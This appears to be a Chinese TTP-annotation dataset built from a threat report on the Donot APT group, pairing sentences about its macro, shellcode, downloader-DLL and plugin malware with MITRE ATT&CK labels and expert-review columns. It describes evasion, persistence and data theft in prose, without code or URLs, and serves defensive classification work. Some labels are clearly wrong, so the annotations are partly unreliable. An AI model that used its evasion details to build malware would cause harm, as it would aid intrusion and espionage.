此外，在某些攻击活动中，Donot 组织还使用 EXE 组件，借助宏文档直接释放压缩包，解压出其中的 EXE 组件下载后续。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
VT 上传时间	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[0]
从上面可以看出，xls 和 docx 类文档分别具有一致的创建时间，说明这些攻击样本可能基于相同的原始文档生成。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.006', 'technique': '修改文件时间戳'}]	[]	1	[0]
VBA 代码以字母 ijl 大小写生成的名称对变量名和函数名进行混淆，调用 NtAllocateVirtualMemory 分配内存，通过 WideCharToMultiByte 函数将编码后的 shellcode 按照文档使用的字符编码方式进行解码，然后调用 EnumUILanguages 函数执行 shellcode。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]

以 64 位版本的 shellcode 为例，首先进行自解密操作，解密方式为按字节取反再异或。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
调用 urlmon.dll 模块的 URLDownloadToCacheFileA 函数下载后续，后续 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载的后续以文件读取的方式载入内存，同样执行按字节取反并异或的解密操作，对解密数据的首字节进行校验，校验通过则执行解密数据。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
获取的第二阶段 shellcode 首先按字节异或进行自解密，然后导入相关 API。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
调用 Wow64DisableWow64FsRedirection 关闭文件系统重定向。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1529', 'technique': '系统关闭或重启'}]	[]	1	[0]
通过 GetLocalTime 获取系统时间，如果当前时间大于硬编码的日期则 shellcode 结束运行。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[['tool', 'GetLocalTime']]	1	[0]
依次检查各个杀软驱动文件在”C:\Windows\System32\drivers”目录下是否存在。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1083', 'technique': '文件和目录发现'}]	[]	1	[0]
如果某个杀软驱动存在，则根据当前日期是否大于相应内置时间点决定给该杀软有关的标记变量赋值：小于等于该时间点赋值为 1，大于则为 2。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[0]
无任何杀软的情况下，调用 URLDownloadToFileA 下载后续载荷，保存为当前用户 temp 目录下的 Unincored.dll 文件，即”%tmp%\Unincored.dll”。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
获取后续的 URL 为：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105',	[]	1	[0]

	'technique': '工具向内传输'}]			
LoadLibraryA 加载该 DLL，GetProcAddress 获取指定导出函数地址（tripoliro），调用该导出函数。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'LoadLibraryA']]	1	[0]
而在另一些杀软存在时，会加载 bcrypt.dll，将后续 shellcode 复制到 bcrypt.dll 映射的内存中执行。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1574.002', 'technique': 'DLL 侧加载'}]	[]	1	[0]
宏代码启动的 32 位版本 shellcode 与 64 位基本一致，不过下载后续 shellcode 和 DLL 载荷的 URL 有所不同。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
后续载荷类型	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1082', 'technique': '系统信息发现'}]	[]	1	[0]
该自解压文件使用文件夹图标进行伪装，运行后在 temp 目录下释放，通过 rundll32.exe 执行其中 DLL 组件的导出函数，并打开压缩包中包含 PDF 诱饵文档的文件夹 “Kashmir”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
下载器 DLL 一般有两个导出函数：其中一个导出函数通过设置计划任务启动另一个导出函数；	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
而另一个导出函数则向 C2 服务器回传收集的主机信息，下载并执行作为插件管理器的 DLL 组件。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
该函数将 DLL 当前文件路径经 AES 加密后写入”C:\Users\[user]\AppData\Local\windin.txt”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid':	[]	3	[0, 1, 2]

	'QT9003.001', 'technique': '终端安全工具检测绕过'}]			
然后通过 COM 接口设置计划任务调用另一个导出函数 SDtuiopnhukm。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
除了直接调用 COM 接口，Donot 组织在其他下载器 DLL 中还采用过释放并执行 bat 文件的方式设置计划任务。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
释放的 bat 文件运行 schtasks 命令，执行完毕再将 bat 文件删除。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
创建"C:\Users\[user]\AppData\Local\Nsget\"目录。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[0]
通过注册表收集本机安装的软件信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1012', 'technique': '查询注册表'}]	[['targetservice', '注册表']]	1	[0]
获取当前用户名、计算机名，以及通过 cpuid 指令获取 CPU 标识信息，将这三者组合为受害者标识（victim id）。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]
拼接 victim id 和收集的软件信息，并以"|||S4"为结尾标识符，对这些信息进行 AES 加密并用 Base64 编码。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}, {'taid': 'TA0011',	[]	4	[0, 1, 2, 3]

	'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]			
加密数据作为 POST 请求的 batac 参数发送给 C2 服务器。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
回传信息的 URL 如下：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
如果 C2 服务器有响应，则请求下载后续组件 WingMndre.dll。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载后续 DLL 的 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
若下载成功，将 WingMndre.dll 保存在之前创建的 Nsget 目录下。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
删除导出函数 StTskloipy 执行时释放的 windin.txt 文件，设置计划任务调用 WingMndre.dll 的 StConectert 导出函数。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
在 Nsget 目录下释放 Uwn.txt 文件，保存 AES 加密后的 victim id。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1486', 'technique': '数据加密'}]	[]	1	[0]
然后通过 CreateProcessW 调用如下格式化字符串，删除当前 DLL 在磁盘上的文件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
Victim id 从 Nsget 目录下的 Uwn.txt 中获取，如果该文件不存在则重新生成。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'Victim id']]	1	[0]

值得注意的是，插件管理器解密 Uwn.txt 内容所使用的 AES 密钥与 iv 和下载器组件相同，而发送信标消息时使用另一套 AES 密钥和 iv 加密 victim id。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1573', 'technique': '加密通道'}]	[]	1	[0]
如果获取到 C2 的响应消息则进行下一步操作，否则休眠 30s，进入下一次循环。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载相应组件时进行校验	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载的插件组件保存在"C:\Users\[user]\AppData\Local\Nsget\Updates"目录中，获取后续组件的 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
指令代码通过 stoi 由字符串转换为整型数，然后分发。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1, 2]
检查 Updates 目录下是否存在相应插件，若不存在则从 C2 服务器下载，加载插件 DLL，调用指定的导出函数	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
首先执行插件禁用操作，然后从 Updates 目录删除 DLL 文件	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
首先执行插件删除操作，再执行插件启动操作（启动时因为插件不存在会从 C2 服务器下载）	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004',	[]	1	[0]

	'technique': '删除文件痕迹'}]			
将新的插件管理器保存到 Updates 目录下，释放 alex.bat，通过设置计划任务进行更新，同时设置循环退出标志	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
该 bat 脚本将新的插件管理器复制到 Updates 的上层目录 Nsget 中，然后删除原文件，同时删除名为"Windows"的计划任务。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
Copy C:\Users\[user]\AppData\Local\Nsget\Updates\[插件名称] C:\Users\[user]\AppData\Local\Nsget	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[0]
接着设置名为"Windows"的计划任务，该计划任务就是用于执行释放的 alex.bat。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
然后设置另一个计划任务"WindowsMainHawk"，执行新插件管理器的导出函数 StConectert。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
旧插件管理器在退出 while 循环后，同下载器 DLL 一样，会执行自删除操作。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
该插件的功能为截屏回传，主体功能在函数 sub_10006D10 中实现，主要代码如下。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏通过模拟按下截屏键完成。	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1056.001', 'technique': '键盘记录'}]	[]	1	[0]
截屏文件保存在创建的目录 "C:\Users\[user]\AppData\Local\Nsget\srt\"中，以生成的 GUID 命名。	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
截屏数据首先以 jpg 后缀名直接保存在磁盘上，然后加密处理得到同名的 upr 后缀文件，原 jpg 文件被删除。	[{'taid': 'TA0005', 'tactic': '防御逃逸',	[]	3	[0, 1, 2]

	'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]			
然后将 srt 目录中 upr 文件数据回传到 C2 服务器，回传 URL 如下：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
在样本关联过程中，我们发现了一种功能更为简单的插件下载器 DLL 组件，该组件通过宏文档加 shellcode 的方式植入，样本信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
创建计划任务调用复制后 DLL 的另一个导出函数 rgbrgbbgr。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
而另一个导出函数 rgbrgbbgr 会依次检查插件保存目录"C:\ProgramData\Winstom\Dnt"下是否存在 Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll 三个插件，如果不存在则从 C2 服务器下载，然后调用插件 DLL 的 St 函数启动插件。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'rgbrgbbgr']]	1	[0]
键盘记录并回传	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1056.001', 'technique': '键盘记录'}]	[]	1	[0]
收集当前用户 Desktop, Documents, Downloads 目录下特定后缀的文件信息并回传，包括.doc, .xls, .ppt, .pdf, .rtf 等	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏并回传	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]

3 个插件回传信息的 URL 相同，如下所示：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
Donot 也在攻击活动中使用 EXE 组件作为下载器获取后续，近期出现的相关样本信息如下。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
VT 上传时间	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[0]
宏文档 1（MD5: 171c011571f94ea2f5c928bdf5d560dc）的 VBA 使用大量注释填充，整理代码后，可以看到样本首先释放 pkhfg.bat，用于创建 3 个计划任务，为执行后续组件做铺垫。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
接着再释放 tbreah.bat 文件，该文件负责从 dfer.cab 文件解压出下载器组件 dfer.exe。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
该 bat 文件通过上面创建的名为"fghru"计划任务执行，执行完毕删除该计划任务。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
宏文档 2 和 3 的 VBA 代码相似，因此以宏文档 2（MD5: 79cff3bc3cbe51e1b3fecd131b949930）为例进行说明。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
与之前不同，宏代码的执行时机从文档打开(Open)换成了关闭前(BeforeClose)。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
直接调用 Schedule.Service 接口创建计划任务，不再通过释放 bat 文件完成。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
3 个宏文档释放的 EXE 组件代码基本一致，功能较为简单，作用是从 C2 下载两个后续组件，通过初值为 1 的全局变量控制组件下载顺序，其中的 bat 文件对应在上述 VBA 代码中设置计划任务的文件路径。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]

整理上面宏文档涉及的 EXE 组件信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
宏文档 MD5	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
Donot 在去年年中就借助宏文档释放压缩包的方式植入恶意软件，并且至少从 2022 年 9 月起在该植入流程中使用 EXE 组件。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1204.002', 'technique': '恶意文件'}]	[]	1	[0]
字符串加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1, 2]
Donot 在 PE 类攻击组件中经常用各类加密方式对关键字符串加密，除了简单的按字节加减固定数值，单重 01 变换外，我们发现近期出现的 DLL 组件经常使用双重 01 变换和自定义多层加密隐藏关键字符串，并且有时还会使用两种加密方式对不同字符串进行处理。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1486', 'technique': '数据加密'}]	[]	1	[0]
在这类加密方式中，字符串的 ASCII 码按字节转换为二进制形式，并以 01 字符串格式存在于样本中。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid':	[]	3	[0, 1, 2]

	'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]			
自定义多层加密	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1, 2]
采用这类加密方式的样本在恢复原始字符串时，会在base64 解码和 AES 解密后，对解密数据再依次进行如下操作：（1）按字节减 1；	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
（3）字符串逆序。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0, 1, 2]
(宏文档)	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005',	[]	1	[0]

	'technique': 'VB 宏'}]			

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
Donot 常通过携带宏的文档执行 shellcode 下载后续 DLL 组件，进一步下载诸如木马插件管理器和木马插件的恶意 DLL。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[['malware', 'Donot']]	1	[0]
此外，在某些攻击活动中，Donot 组织还使用 EXE 组件，借助宏文档直接释放压缩包，解压出其中的 EXE 组件下载后续。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
VT 上传时间	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[]
从上面可以看出，xls 和 docx 类文档分别具有一致的创建时间，说明这些攻击样本可能基于相同的原始文档生成。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.006', 'technique': '修改文件时间戳'}]	[]	1	[]
VBA 代码以字母 ijl 大小写生成的名称对变量名和函数名进行混淆，调用 NtAllocateVirtualMemory 分配内存，通过 WideCharToMultiByte 函数将编码后的 shellcode 按照文档使用的字符编码方式进行解码，然后调用 EnumUILanguages 函数执行 shellcode。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
以 64 位版本的 shellcode 为例，首先进行自解密操作，解密方式为按字节取反再异或。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
调用 urlmon.dll 模块的 URLDownloadToCacheFileA 函数下载后续，后续 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载的后续以文件读取的方式载入内存，同样执行按字节取反并异或的解密操作，对解密数据的首字节进行校验，校验通过则执行解密数据。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140', 'technique': '解混淆解码文件或信息'}]	[]	1	[0]
获取的第二阶段 shellcode 首先按字节异或进行自解密，然后导入相关 API。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1140',	[]	1	[0]

	'technique': '解混淆解码文件或信息'}]			
调用 Wow64DisableWow64FsRedirection 关闭文件系统重定向。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1529', 'technique': '系统关闭或重启'}]	[]	1	[0]
通过 GetLocalTime 获取系统时间，如果当前时间大于硬编码的日期则 shellcode 结束运行。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[['tool', 'GetLocalTime']]	1	[0]
依次检查各个杀软驱动文件在"C:\Windows\System32\drivers"目录下是否存在。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1083', 'technique': '文件和目录发现'}]	[]	1	[0]
如果某个杀软驱动存在，则根据当前日期是否大于相应内置时间点决定给该杀软有关的标记变量赋值：小于等于该时间点赋值为 1，大于则为 2。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[0]
无任何杀软的情况下，调用 URLDownloadToFileA 下载后续载荷，保存为当前用户 temp 目录下的 Unincored.dll 文件，即"%tmp%\Unincored.dll"。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
获取后续的 URL 为：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
LoadLibraryA 加载该 DLL，GetProcAddress 获取指定导出函数地址（tripoliro），调用该导出函数。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[['malware', 'LoadLibraryA']]	1	[]
而在另一些杀软存在时，会加载 bcrypt.dll，将后续 shellcode 复制到 bcrypt.dll 映射的内存中执行。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1574.002', 'technique': 'DLL 侧加载'}]	[]	1	[]
宏代码启动的 32 位版本 shellcode 与 64 位基本一致，不过下载后续 shellcode 和 DLL 载荷的 URL 有所不同。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]

后续载荷类型	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1082', 'technique': '系统信息发现'}]	[]	1	[]
该自解压文件使用文件夹图标进行伪装，运行后在 temp 目录下释放，通过 rundll32.exe 执行其中 DLL 组件的导出函数，并打开压缩包中包含 PDF 诱饵文档的文件夹“Kashmir”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
下载器 DLL 一般有两个导出函数：其中一个导出函数通过设置计划任务启动另一个导出函数；	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
而另一个导出函数则向 C2 服务器回传收集的主机信息，下载并执行作为插件管理器的 DLL 组件。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
该函数将 DLL 当前文件路径经 AES 加密后写入”C:\Users\[user]\AppData\Local\windin.txt”。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	3	[0]
然后通过 COM 接口设置计划任务调用另一个导出函数 SDtuiopnhukm。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
除了直接调用 COM 接口，Donot 组织在其他下载器 DLL 中还采用过释放并执行 bat 文件的方式设置计划任务。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1053', 'technique': '定时任务或作业'}]	[]	1	[0]
释放的 bat 文件运行 schtasks 命令，执行完毕再将 bat 文件删除。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004',	[]	1	[0]

	'technique': '删除文件痕迹'}]			
创建"C:\Users\[user]\AppData\Local\Nsget\"目录。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[]
通过注册表收集本机安装的软件信息。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1012', 'technique': '查询注册表'}]	[['targetservice', '注册表']]	1	[0]
获取当前用户名、计算机名，以及通过 cpuid 指令获取 CPU 标识信息，将这三者组合为受害者标识（victim id）。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]
拼接 victim id 和收集的软件信息，并以"|||S4"为结尾标识符，对这些信息进行 AES 加密并用 Base64 编码。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}, {'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1132', 'technique': '数据编码'}]	[]	4	[0, 1, 2, 3]
加密数据作为 POST 请求的 batac 参数发送给 C2 服务器。	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
回传信息的 URL 如下：	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]

如果 C2 服务器有响应，则请求下载后续组件 WingMndre.dll。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载后续 DLL 的 URL 如下：	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
若下载成功，将 WingMndre.dll 保存在之前创建的 Nsget 目录下。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
删除导出函数 StTskloipy 执行时释放的 windin.txt 文件，设置计划任务调用 WingMndre.dll 的 StConectert 导出函数。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
在 Nsget 目录下释放 Uwn.txt 文件，保存 AES 加密后的 victim id。	[{'taid': 'TA0040', 'tactic': '恶劣影响', 'tid': 'T1486', 'technique': '数据加密'}]	[]	1	[]
然后通过 CreateProcessW 调用如下格式化字符串，删除当前 DLL 在磁盘上的文件。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
